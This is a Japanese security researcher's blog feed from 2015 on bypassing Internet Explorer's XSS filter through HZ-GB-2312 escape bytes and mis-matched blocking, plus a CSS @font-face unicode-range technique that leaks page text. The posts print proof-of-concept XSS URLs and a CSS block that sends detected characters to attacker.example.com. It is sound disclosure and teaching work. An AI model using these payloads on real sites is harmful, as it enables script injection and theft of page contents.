href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb-JlXD0Tk-aWIYcfH7SP6BlPG1mE8lf4N8eYT25Q42qKK7Y3wRvtPZiIsSpq4YN92430fr7Pu8HtA7NavGuCPzaZl1tHAvFXWy8htFQ6ic2Z1wSKUxitX3hl5g9xk_5YDjdxFm9hNN1k/s1600/ex1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb-JlXD0Tk-aWIYcfH7SP6BlPG1mE8lf4N8eYT25Q42qKK7Y3wRvtPZiIsSpq4YN92430fr7Pu8HtA7NavGuCPzaZl1tHAvFXWy8htFQ6ic2Z1wSKUxitX3hl5g9xk_5YDjdxFm9hNN1k/s400/ex1.png" width="400" /></a></div> <br /> <code>&lt;/style&gt;</code>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRyyAA_SD6oiLsSN1b_1FcYOMvERkikA9Sty-_4hISGkY3dgRRWzPvhJVK3UmbYEPwq4JzeFK2vtt8gIBCd_BX9MhNG2spQsUAS5Nd0EZZ52OyK_ps-fSF_M6bhKnzpEGH-TTQnWvct4/s1600/ex2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRyyAA_SD6oiLsSN1b_1FcYOMvERkikA9Sty-_4hISGkY3dgRRWzPvhJVK3UmbYEPwq4JzeFK2vtt8gIBCd_BX9MhNG2spQsUAS5Nd0EZZ52OyK_ps-fSF_M6bhKnzpEGH-TTQnWvct4/s400/ex2.png" width="400" /></a></div> <br /> Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的に<code>mode=block</code>の動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、<code>X-XSS-Protection:1</code>の動作とはなんだったのか…、という気がします。<br /> ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまず<code>mode=block</code>にすることで回避したらどうかとMSに提案していました。)<br /> <b><br /></b> <b>2. 文字列リテラルの遮断を悪用</b><b>するパターン その1</b><b>( &lt;script src=***&gt;&lt;/script&gt; を利用)</b><br /> <b><br /></b> 次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、<code>";document.body.innerHTML="攻撃文字列"//</code>のような形で攻撃します)の遮断を利用し、<br /> <div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Yp4X3kdfrT8qxyW98_xQJBXo2p1vd-LDoJ0FErIdBAy4dvA3gXvOgX7OfxoflDbYsMmsQ_WIXeRwMQUtICedliDx4GxuTxlZP0hu3-AuaVjdoCFYfzExd89AS1yxr0lbfnyrUyafnQ8/s1600/ex3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Yp4X3kdfrT8qxyW98_xQJBXo2p1vd-LDoJ0FErIdBAy4dvA3gXvOgX7OfxoflDbYsMmsQ_WIXeRwMQUtICedliDx4GxuTxlZP0hu3-AuaVjdoCFYfzExd89AS1yxr0lbfnyrUyafnQ8/s400/ex3.png" width="400" /></a></div> <br /> スクリプトタグの<code>src</code>の値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mW_IKFG8-xZcaF7NRR1Cx7GT4u3lXEGk6ABSl7_K7GwUrvfx36J7BZjeqvhKA7z9y0KyFrInJszdu8eyPcRhjR0Mitu7Eft4zVwp3p-QasHlI6z3EWMBme8wiIXN7zpxBJVGXLnowsA/s1600/ex4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mW_IKFG8-xZcaF7NRR1Cx7GT4u3lXEGk6ABSl7_K7GwUrvfx36J7BZjeqvhKA7z9y0KyFrInJszdu8eyPcRhjR0Mitu7Eft4zVwp3p-QasHlI6z3EWMBme8wiIXN7zpxBJVGXLnowsA/s400/ex4.png" width="400" /></a></div> <br /> どう修正されたかは、次の手法でまとめて紹介します。<br /> <br /> <b>3. 文字列リテラルの遮断を悪用</b><b>するパターン その2</b><b>( &lt;link rel=stylesheet href=***&gt; を利用)</b><br /> <br /> 同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。<br /> 今度は、<code>&lt;link&gt;</code>タグの<code>href</code>の相対パスの<code>.</code>を利用し、攻撃に繋げるという方法です。</div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5hHEqXfYDyi_Ak67QOZlnPaxdjvQzWyEiqZzkc-eaWozWxf1BzJF2b2pNS5j2K5gWMeeqdFnuQEQKZOEPV1CtKQ8WcTS6DgmbGWrz766xdW4A6X6zSdt-NLOS2BusFCzLvQdOjjKyi4k/s1600/ex5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5hHEqXfYDyi_Ak67QOZlnPaxdjvQzWyEiqZzkc-eaWozWxf1BzJF2b2pNS5j2K5gWMeeqdFnuQEQKZOEPV1CtKQ8WcTS6DgmbGWrz766xdW4A6X6zSdt-NLOS2BusFCzLvQdOjjKyi4k/s400/ex5.png" width="400" /></a></div> <br /> 2と3の問題のMicrosoftの修正にはびっくりしました。<br /> プロパティアクセス後の代入の遮断時だけ、<code>.</code>を、これまでの<code>#</code>の代わりに、<code>^</code>(0x5E)に置換するよう変更したのです!<a href="https://twitter.com/kinugawamasato/status/674370046223884288">なんじゃそりゃ~</a>(^_^)!<br /> 確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。<br /> <br /> JavaScriptにおいて、<code>^</code>は演算子です。<code>document.location</code>が<code>document^location</code>に変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる<code>.</code>をうまいこと<code>^</code>に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、<code>.</code>が JavaScriptの正規表現に含まれていたら、そしてそれが<code>^</code>に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。<br /> <br /> このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。<br /> <br /> 報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。<br /> <br /> もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。<br /> <br /> 開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、<code>X-XSS-Protection:1;mode=block</code>か<code>X-XSS-Protection:0</code>のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。Unknown[email protected]1tag:blogger.com,1999:blog-8353423932702399963.post-43722886471993950342015-11-21T01:00:00.005+09:002015-11-21T01:09:59.835+09:00AVTOKYO2015の発表資料「バグハンターの哀しみ」を公開English version:&nbsp;<a href="http://mksben.l0.cm/2015/11/avtokyo2015.html">http://mksben.l0.cm/2015/11/avtokyo2015.html</a><br /> ----------------------------------------------------<br /> <br /> 2015年11月14日に行われたセキュリティカンファレンス、<a href="http://ja.avtokyo.org/">AVTOKYO2015</a>で発表しました。<br /> <br /> ご存知の方もいらっしゃるかと思いますが、2013年9月、脆弱性の検査がきかっけで、<a href="http://masatokinugawa.l0.cm/2013/09/xss.benesse.html">ISPに自宅のインターネットを止められる</a>ということがありました。発表では、このときの詳細をお話しました。資料は以下にあります。<br /> <br /> <br /> <iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/4YAdzsCkc2wzvT" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br /> <div style="margin-bottom: 5px;"> <strong> <a href="https://www.slideshare.net/masatokinugawa/avtokyo-bug-hunters-sorrow-ja" target="_blank" title="バグハンターの哀しみ">バグハンターの哀しみ</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div> <br /> <br /> 聴いて頂いた皆様、ありがとうございました。発表後、聴いて頂いた方の意見を伺い、誰がどうしていればこのような問題が起きずに済んだのかといったことを議論したりもでき、とても有意義な時間を過ごすことができました。このような機会を頂きありがとうございました。<br /> <br /> ちなみに昨年、「バグハンターの愉しみ」という発表もCODE BLUEで行っています。今回はその対となるタイトルとして、「バグハンターの哀しみ」と名付けました。「愉しみ」の資料も以下で公開しているので、よかったらご覧ください。<br /> <a href="http://masatokinugawa.l0.cm/2015/07/codeblue.html">http://masatokinugawa.l0.cm/2015/07/codeblue.html</a><br /> <br /> 次回、「バグハンターの○○み」でお会いしましょう! (もうやりません!)Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-82122517251419660472015-10-24T00:41:00.000+09:002016-02-07T21:19:31.228+09:00@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出すEnglish version:&nbsp;<a href="http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html">http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html</a><br /> ----------------------------------<br /> <br /> CSSの&nbsp;<a href="https://developer.mozilla.org/ja/docs/Web/CSS/%40font-face/unicode-range">@font-faceのunicode-range</a>&nbsp;を使った攻撃手法を思いついたので共有します。<br /> <br /> この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。<br /> この手法は、次のような場面で利用できるかもしれません。<br /> <br /> ・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは<code>&lt;style&gt;</code>の注入をブロックしない)<br /> ・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用<br /> <br /> 自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。<br /> <div> <br /></div> 属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。<br /> <br /> CSS - The Sexy Assassin<br /> <a href="http://p42.us/css/">http://p42.us/css/</a><br /> <br /> <br /> 今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。<br /> <br /> 以下のようなページがあるとします。<br /> <blockquote class="tr_bq"> &lt;style&gt;<br /> @font-face{<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?A); /* 取得される */<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0041;<br /> }<br /> @font-face{<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?B); /* これも取得される */<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0042;<br /> }<br /> @font-face{<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>src: url(http://attacker.example.com/?C); /* 取得されない */<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>unicode-range:U+0043;<br /> }<br /> #sensitive-information{<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>font-family:poc;<br /> }<br /> &lt;/style&gt;<br /> &lt;p id="sensitive-information"&gt;AB&lt;/p&gt;</blockquote> <br /> このページにアクセスすると、ChromeとFirefox Nightlyでは、<code>http://attacker.example.com/?A</code>と<code>http://attacker.example.com/?B</code>に対するリクエストが飛びます。一方、<code>http://attacker.example.com/?C</code>に対するリクエストはとびません。<br /> <br /> これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分に<code>unicode-range</code>の範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。<br /> フォントを適用しようとしている部分である<code>sensitive-information</code>のidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。<br /> <br /> この時点で既に、 attacker.example.com は、<code>sensitive-information</code>に "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。<br /> <br /> もう少し、取得対象の文字を増やした例をみてみます。<br /> <br /> 以下のページにChromeからアクセスし、<br /> <a href="http://vulnerabledoma.in/poc_unicode-range2.html">http://vulnerabledoma.in/poc_unicode-range2.html</a><br /> <br /> 開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7UzWAZy96qav3k0amWUViddajFfE_8qA3wNZomUEnbtJ8p_OuP2d-aRim6BGwXEVz9h_XfOeONfvOIjxg0IIOLibuOiHM_mEUr8oqaIfiWf3TQr7CuQ31-WEi38S67KMAagooscWrofQ/s1600/unicode-range.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7UzWAZy96qav3k0amWUViddajFfE_8qA3wNZomUEnbtJ8p_OuP2d-aRim6BGwXEVz9h_XfOeONfvOIjxg0IIOLibuOiHM_mEUr8oqaIfiWf3TQr7CuQ31-WEi38S67KMAagooscWrofQ/s1600/unicode-range.png" /></a></div> <br /> <br /> 見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。<br /> <br /> この動作は仕様にも明記されているようです。(<a href="http://www.w3.org/TR/css3-fonts/#composite-fonts">http://www.w3.org/TR/css3-fonts/#composite-fonts</a> のEXAMPLE 13を参照)<br /> <br /> フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。<br /> <a href="https://code.google.com/p/chromium/issues/detail?id=543078">Chromeチームにも報告</a>しましたが、WontFixという扱いになりました。<br /> <br /> JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。Unknown[email protected]2tag:blogger.com,1999:blog-8353423932702399963.post-40636692940050719162015-09-29T23:30:00.003+09:002018-05-26T16:24:46.173+09:00ブラウザのXSS保護機能をバイパスする(7)English version:&nbsp;<a href="http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html">http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html</a><br /> --------------------------------------------------------<br /> <br /> HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、<code>~[0x0A]</code>と<code>~{</code>を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。<br /> この手法はページの<code>Content-Type</code>レスポンスヘッダで文字コードが指定されていない時限定で使えます。<br /> <br /> <h3> バイパス 1</h3> <br /> &nbsp;以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。<br /> <a href="http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA">http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA</a><br /> <br /> <br /> 以下のようにすればユーザインタラクションなしにもできます。<br /> <a href="http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a">http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a</a><br /> <br /> <br /> XSSフィルターは、<code>Content-Type</code>レスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)<br /> <br /> 属性を区切る文字がくるところに<code>~[0x0A]</code>を置くと遮断に失敗します。<br /> <br /> charsetが<code>Content-Type</code>レスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。<br /> <a href="http://vulnerabledoma.in/char_test?charset=utf-8&amp;body=%3Cx~%0Aonmouseover=alert(1)%3EAAA">http://vulnerabledoma.in/char_test?charset=utf-8&amp;body=%3Cx~%0Aonmouseover=alert(1)%3EAAA</a><br /> <br /> <br /> ただし、<code>Content-Type</code>レスポンスヘッダでなく<code>meta</code>タグだけでcharsetを指定した場合だとまだ動きます。<br /> <a href="http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a">http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a</a><br /> <br /> <h3> バイパス 2</h3> <br /> 以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、<code>click()</code>が呼び出されることが確認できます。(※<code>click()</code>が呼び出される側はドキュメントモードが古くないとエラーになります。)<br /> <br /> <a href="http://l0.cm/xssfilter_hz_poc.html">http://l0.cm/xssfilter_hz_poc.html</a><br /> <br /> <br /> 次のようなコードから<code>click()</code>が呼び出されています。<br /> <a href="http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//">http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//</a><br /> <blockquote class="tr_bq"> &lt;script&gt;var q="<span style="color: red;"><b>";~{valueOf:opener.button.click}//</b></span>"&lt;/script&gt;</blockquote> <br /> これも通常なら、以下のように<code>";{valueOf:</code>という文字列で遮断が起こるのですが、<br /> <br /> <a href="http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:">http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:</a><br /> <br /> <code>~{</code>というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。<br /> <br /> <code>valueOf</code>の代わりに<code>toString</code>も使えます。<br /> <br /> <a href="http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//">http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//</a><br /> <blockquote class="tr_bq"> &lt;script&gt;var q="<span style="color: red;"><b>";~{toString:opener.button.click}//</b></span>"&lt;/script&gt;</blockquote> この2つの手法、まず<code>";~{valueOf:}//</code>がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみても<a href="http://www.slideshare.net/masatokinugawa/ss-51723687/60">mshtml.dll内の正規表現</a>には合致するのにおかしいと思って、みていくと遮断されないのが<code>~{</code>が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。<br /> <br /> 文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。Unknown[email protected]1tag:blogger.com,1999:blog-8353423932702399963.post-81995272133784220882015-08-18T00:18:00.000+09:002015-08-26T23:11:50.137+09:00セキュリティ・キャンプ全国大会2015の資料を公開2015年8月11~15日の間行われた<a href="https://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015.html">セキュリティ・キャンプ全国大会2015</a>に、今年も講師として参加してきました。使用した資料を公開します。<br /> <br /> <br /> 1. 事前学習として用意した「簡単にSOP周辺を理解するページ」<br /> <a href="http://vulnerabledoma.in/camp2015_sop/">http://vulnerabledoma.in/camp2015_sop/</a><br /> <div> <br /></div> <br /> 2. 講義に使用したスライド<br /> <br /> <iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/uTk3PwgRAVPLiV" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br /> <div style="margin-bottom: 5px;"> <strong> <a href="https://www.slideshare.net/masatokinugawa/ss-51723687" target="_blank" title="SecurityCamp2015「バグハンティング入門」">SecurityCamp2015「バグハンティング入門」</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div> <br /> 3. 特別コーナーで使用したスライド<br /> <br /> <iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/cRsfaRxrHWl27E" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br /> <div style="margin-bottom: 5px;"> <strong> <a href="https://www.slideshare.net/masatokinugawa/cve20154483" target="_blank" title="CVE-2015-4483解説">CVE-2015-4483解説</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div> <br /> <br /> 1つ目のスライドは、自分がキャンプの1日目に担当した「バグハンティング入門」という講義で使用したものです。講義では、脆弱性を探すときにどのような点に注目すればいいのかを過去に発見した/されたWeb周辺のバグを通して説明しました。<br /> <br /> 題材のアプリケーションには、サイボウズLiveとIEのXSSフィルターを選びました。<br /> <br /> サイボウズLiveは、キャンプの連絡事項の伝達に使うため、参加者全員が必ず使うWebアプリケーションになります。身近に使っているアプリケーションにも脆弱性があることを感じてもらいやすいと考え、昨年に続いて題材に選びました。また、サイボウズは脆弱性の検査/報告を歓迎しているし、申請すると検査用の環境を個別に用意してくれるので、キャンプが終わった後も脆弱性を探したいと思った参加者に勧めやすいというのも選んだ理由です。だって、万が一、誤解を招いて参加者が<a href="http://masatokinugawa.l0.cm/2013/09/xss.benesse.html">インターネットを止められても困りますからね</a>!<br /> <br /> XSSフィルターについては、自分がとりわけ詳細まで把握している機能で扱いやすかったため、題材に選びました。あと、キャンプで使う演習用のPCがWindowsで、何も指示しなくてもIEなら必ず入っているため、準備が楽だったからというのもあります。<br /> <br /> 講義では、実習として、実際にXSSフィルターのバイパスに挑戦してもらいました。もちろん、実習の期間中に未知のバイパスを発見しろという無茶な話ではなくて、考慮された典型パターンからはずれると、簡単にバイパスできてしまう場合があることを知ってもらうために、意図的にバイパスできる状況を設定したものを突破してもらいました。<br /> <br /> ちなみにXSSフィルターのバイパスチャレンジはキャンプ参加者以外の方も以下で挑戦できます。ゴールは、IE10以上(Edgeはダメです)を使って<b>XSSフィルターをバイパスし</b>、alert(1)を実行することです。<br /> 日頃XSSをプレイしている人にはChallenge 1337以外は簡単だと思います。<br /> <br /> Challenge 1<br /> <a href="http://vulnerabledoma.in/camp2015/challenge?q=[XSS_HERE]">http://vulnerabledoma.in/camp2015/challenge?q=[XSS_HERE]</a><br /> <br /> Challenge 2<br /> <a href="http://vulnerabledoma.in/camp2015/challenge2?q=[XSS_HERE]">http://vulnerabledoma.in/camp2015/challenge2?q=[XSS_HERE]</a><br /> <br /> Challenge 1337<br /> <a href="http://vulnerabledoma.in/camp2015/challenge1337?q=[XSS_HERE]">http://vulnerabledoma.in/camp2015/challenge1337?q=[XSS_HERE]</a><br /> <br /> <br /> 参加者には引き続き自分で回答を探してもらっているので、答えがわかっても、回答をパブリックにしないようお願いします。<br /> <br /> 問題(1と2)はかなり単純だと考えていたので、10分程度の演習時間を予定していましたが、30分以上を使っても、結局、講義中に解けたのは講師だけでした。もう少し段階的に説明するべきだったかなと、少し反省していますが、それでも講義後には、ぽつりぽつりと回答者が出始めたので、興味を持って取り組んでもらえているように思います。キャンプの準備には随分苦労しましたが、少しでも興味を持ってもらえたなら、講義をした甲斐があったと思います。<br /> <br /> expression()とかXSSフィルターのバイパスとか、そんなの入門じゃないだろうと思うかもしれませんが、それを覚えてほしいという意図はなくて、探し方のポイントをおさえれば、そういった、人が見落としやすい部分に目を向けたり、複雑にみえる問題を解決していけるようになるということが講義を通して伝えたかったことです。<br /> <br /> <br /> 2つ目のスライドは、2日目の夕食時に行われた特別コーナー、「俺たち、高レイヤーの講師だけど質問ある?」で発表したものです。この日、ちょうど自分の報告した<a href="http://www.mozilla-japan.org/security/announce/2015/mfsa2015-86.html">Firefoxの脆弱性(CVE-2015-4483)</a>が修正されたので、どのような問題だったか、どのようにして発見に至ったかについて、自分の講義で紹介した脆弱性発見のテクニックを実際の場面で使っていることを示しながら解説しました。わかりやすく、扱うのに最適な実例だったので、Mozillaは本当にいいタイミングで修正してくれたなと思います。<br /> <br /> <br /> 参加者の皆さん、5日間お疲れ様でした。<br /> ぜひこれから、もっと深い知識をつけ、自分の手でまだ誰も発見していない驚くような脆弱性を発見して欲しいと思います。皆さんの活躍を楽しみにしています!Unknown[email protected]0